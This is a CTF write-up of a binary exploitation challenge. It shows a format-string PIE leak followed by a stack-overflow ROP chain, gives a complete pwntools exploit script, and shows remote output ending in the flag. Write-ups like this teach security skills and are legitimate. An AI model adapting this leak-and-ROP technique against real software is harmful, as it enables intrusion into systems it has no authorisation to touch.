Skip to main content
JUJUTSU HIGH: Cursed Archive  - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

JUJUTSU HIGH: Cursed Archive - CTF Writeup

·750 words·4 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: JUJUTSU HIGH: Cursed Archive Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Inside Tokyo Jujutsu High lies a forbidden archive where cursed verses are recorded. The records echo your words… but echoes in this place can betray more than intended. Only a sorcerer who understands resonance and domain rituals can unlock the sealed truth.
Connection: nc 172.205.208.94 9005


Challenge Overview
#

Cursed Archive: Infinite Echo is a two-stage binary exploitation challenge with a Jujutsu Kaisen themed menu flow.

Files handed in the challenge: main, libc.so.6, and ld-linux-x86-64.so.2.

The bug chain combines:

  1. A format string vulnerability used to leak a runtime code pointer.
  2. A stack overflow in a second input path for control-flow hijack.
  3. Modern mitigations (PIE, NX, canary, Full RELRO) that require leak-then-ROP.

Initial Reconnaissance
#

Binary Information
#

$ file main
main: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

Security Features
#

  • NX (Non-Executable Stack): Enabled
  • PIE: Enabled
  • Full RELRO: Enabled
  • Stack Canary: Present

Key Observations
#

The interaction flow separates two user-controlled stages:

1) Resonance Reading
 -> phrase is printed with printf(user_input)

2) Archive Entry
 -> oversized read into stack buffer

This directly suggests a leak first, then a ROP-based hijack.

Vulnerability Analysis
#

Format String Leak in Resonance Reading
#

The first stage prints input unsafely:

printf(phrase);

A stable positional leak is:

  • %41$p gives a return/code pointer inside the PIE image.

PIE base is recovered with:

pie_base = leaked_ptr - 0x1776

After this, gadget and function addresses are reconstructed per run.

Stack Overflow in Archive Entry
#

The second stage reads up to 0x220 bytes into a smaller local buffer.

In this build, the offset to saved RIP is 0x68, so control data starts after:

  1. 0x68 bytes of padding

Because the exploit path is built around this frame layout, a direct ROP chain can be placed after the padding.

Hidden Routine Gate Check
#

The binary contains a hidden function, domain_expansion, that prints the flag only when called with exact magic arguments:

  • 0x4a554a555453554c
  • 0x4b414953454e215f

If arguments do not match, the function rejects and no flag is printed.

Exploitation Strategy
#

Why This Chain Works
#

The format string leak removes PIE uncertainty. The overflow then takes control of RIP. Finally, a short ROP chain uses in-binary gadgets to pass both required arguments to domain_expansion and cleanly exits.

Payload Construction
#

Payload layout:

  1. Padding (0x68)
  2. Stack alignment (ret)
  3. pop rdi; ret + first magic value
  4. pop rsi; ret + second magic value
  5. Call domain_expansion
  6. pop rdi; ret + 0
  7. Call exit@plt

Runtime Address Calculations
#

All runtime pointers are derived from PIE base:

pop_rdi          = pie_base + 0x11d9
pop_rsi          = pie_base + 0x11de
ret              = pie_base + 0x101a
domain_expansion = pie_base + 0x13f5
exit_plt         = pie_base + elf.plt['exit']

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('../dlist/main', checksec=False)
elf = context.binary

KEY = 0x4a554a555453554c
SEAL = 0x4b414953454e215f

POP_RDI_OFF = 0x11d9
POP_RSI_OFF = 0x11de
RET_OFF = 0x101a
DOMAIN_EXPANSION_OFF = 0x13f5
LEAKED_RET_OFF = 0x1776


def start():
   if args.REMOTE:
      host = args.HOST or '172.205.208.94'
      port = int(args.PORT or 9005)
      return remote(host, port)

   ld_path = '../dlist/ld-linux-x86-64.so.2'
   return process(
      [ld_path, '--library-path', '../dlist', '../dlist/main'],
      stdin=PIPE,
      stdout=PIPE,
      stderr=PIPE,
      cwd='../hosted',
   )


def leak_pie(io):
   io.recvuntil(b'> ')
   io.sendline(b'1')
   io.recvuntil(b'phrase:\n')

   io.sendline(b'%41$p')
   ret_into_main = int(io.recvline().strip(), 16)
   pie_base = ret_into_main - LEAKED_RET_OFF

   log.success(f'pie base = {hex(pie_base)}')
   io.recvuntil(b'> ')
   return pie_base


def trigger_domain(io, pie_base):
   pop_rdi = pie_base + POP_RDI_OFF
   pop_rsi = pie_base + POP_RSI_OFF
   ret = pie_base + RET_OFF
   domain_expansion = pie_base + DOMAIN_EXPANSION_OFF
   exit_plt = pie_base + elf.plt['exit']

   payload = b'A' * 0x68
   payload += p64(ret)
   payload += p64(pop_rdi) + p64(KEY)
   payload += p64(pop_rsi) + p64(SEAL)
   payload += p64(domain_expansion)
   payload += p64(pop_rdi) + p64(0)
   payload += p64(exit_plt)

   io.sendline(b'2')
   io.recvuntil(b'page:\n')
   io.send(payload.ljust(0x220, b'P'))


def main():
   io = start()
   pie_base = leak_pie(io)
   trigger_domain(io, pie_base)

   data = io.recvrepeat(1.5)
   print(data.decode(errors='ignore'))

   if b'CyberTrace{' in data:
      log.success('Flag captured successfully')
   else:
      log.failure('Flag not found in output')

   io.close()


if __name__ == '__main__':
   main()

Execution
#

$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9005
[+] Opening connection to 172.205.208.94 on port 9005: Done
[+] pie base = 0x732727d9f000
[Archive] The page absorbs your cursed energy.
[Domain Expansion: Infinite Archive]
CyberTrace{I_4M_N0T_Wh0_Y0uu_Th1nK_1_4M}

[+] Flag captured successfully
[*] Closed connection to 172.205.208.94 port 9005

Final Flag
#

CyberTrace{I_4M_N0T_Wh0_Y0uu_Th1nK_1_4M}

Key Takeaways
#

  1. Leak + Overflow Chaining: The format string provides a reliable PIE leak before RIP control.
  2. Mitigation-Aware Exploitation: PIE, NX, RELRO, and canary do not prevent exploitation when bugs are chained correctly.
  3. Argument-Oriented ROP: A minimal gadget set (pop rdi, pop rsi) is enough to satisfy hidden gate checks.
  4. Stability Matters: Chaining exit(0) after flag output improves exploit reliability.

Related